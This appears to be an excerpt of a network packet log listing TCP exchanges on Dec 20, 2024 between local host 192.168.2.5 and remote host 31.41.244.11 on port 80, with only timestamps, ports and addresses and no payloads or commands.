Dec 20, 2024 13:12:23.023636103 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.024123907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.024178982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.024247885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.024292946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.025154114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.025196075 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.025305033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.025351048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.026252031 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.026298046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.027419090 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.027431011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.027441978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.027470112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.027527094 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.028345108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.028394938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.028398037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.028441906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.029372931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.029421091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.029541016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.029591084 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.030424118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.030488968 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.031512976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.031524897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.031534910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.031563997 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.031600952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.032555103 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.032604933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.032639980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.032687902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.033607006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.033655882 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.033823013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.033873081 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.034624100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.034672976 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.034679890 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.034724951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.035671949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.035720110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.035757065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.035803080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.036838055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.036885977 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.037014008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.037060976 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.037830114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.037875891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.038222075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.038269997 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.038851023 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.038894892 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.039216042 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.039267063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.039877892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.039927959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.040113926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.040159941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.040977955 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.041048050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.041903019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.041951895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.042098999 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.042144060 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.042174101 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.042218924 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.043169975 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.043217897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.043219090 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.043263912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.044162989 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.044213057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.044460058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.044508934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.045082092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.045130014 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.045316935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.045367002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.046123028 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.046170950 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.046171904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.046216965 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.047211885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.047224045 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.047257900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.047283888 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.048218012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.048266888 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.048501015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.048547983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.049263954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.049310923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.050065994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.050115108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.050318956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.050368071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.050894976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.050944090 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.051404953 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.051469088 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.052495003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.052508116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.052540064 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.052566051 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.052587986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.052635908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.053534985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.053584099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.054044962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.054095984 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.054503918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.054564953 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.054706097 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.054754019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.055567980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.055624962 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.056025028 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.056075096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.056611061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.056658030 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.057285070 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.057333946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.057800055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.057848930 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.058063030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.058109999 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.058783054 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.058830023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.058852911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.058897972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.059742928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.059789896 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.059907913 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.059956074 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.060825109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.060873032 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.061116934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.061166048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.061857939 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.061913013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.061923027 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.061956882 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.062901974 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.062947989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.063189030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.063236952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.063993931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.064045906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.064059973 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.064105034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.065001011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.065051079 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.065202951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.065248966 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.066055059 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.066102982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.066246033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.066292048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.067081928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.067127943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.067404985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.067451954 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.068213940 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.068259954 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.069206953 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.069222927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.069233894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.069257021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.069288015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.070264101 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.070314884 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.071103096 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.071156979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.071326971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.071373940 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.071997881 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.072062969 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.072339058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.072384119 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.073394060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.073402882 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.073440075 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.073493958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.073539972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.074481964 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.074542046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.074778080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.074822903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.075505018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.075551033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.075972080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.076015949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.076559067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.076603889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.077155113 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.077199936 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.077548981 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.077594995 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.215244055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.215331078 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.215799093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.215852976 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.216051102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.216099024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.216695070 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.216739893 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.217066050 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.217124939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.217333078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.217379093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.217863083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.217874050 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.217916012 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.218614101 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.218668938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.218725920 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.218774080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.219523907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.219584942 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.219729900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.219785929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.220552921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.220618010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.220732927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.220782042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.221596003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.221649885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.222037077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.222090006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.222651958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.222702980 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.222764015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.222810030 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.223727942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.223782063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.223886013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.223958969 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.224818945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.224869967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.225122929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.225177050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.225810051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.225878954 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.225996971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.226043940 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.227010965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.227066994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.227971077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.227987051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.227997065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.228023052 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.228049040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.229207993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.229255915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.229365110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.229409933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.230174065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.230218887 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.230406046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.230449915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.231080055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.231127024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.231462002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.231504917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.232120037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.232131958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.232167006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.232189894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.233125925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.233179092 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.233877897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.233922958 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.234160900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.234206915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.234519958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.234565973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.235440969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.235487938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.235519886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.235569000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.236342907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.236403942 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.237202883 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.237251997 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.237325907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.237380028 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.237495899 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.237544060 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.238352060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.238409996 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.239200115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.239254951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.239412069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.239428043 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.239461899 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.239485979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.240458012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.240513086 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.240766048 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.240812063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.241616964 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.241627932 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.241677046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.242625952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.242683887 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.243761063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.243772030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.243809938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.243823051 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.243870974 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.244750977 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.244803905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.244934082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.244978905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.245929956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.245944023 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.245978117 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.245995998 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.246871948 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.246933937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.246956110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.247001886 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.247792006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.247843981 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.248895884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.248905897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.248917103 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.248944998 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.248984098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.249876976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.249924898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.249990940 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.250034094 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.251080036 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.251126051 CET	49859	80	192.168.2.5	31.41.244.11
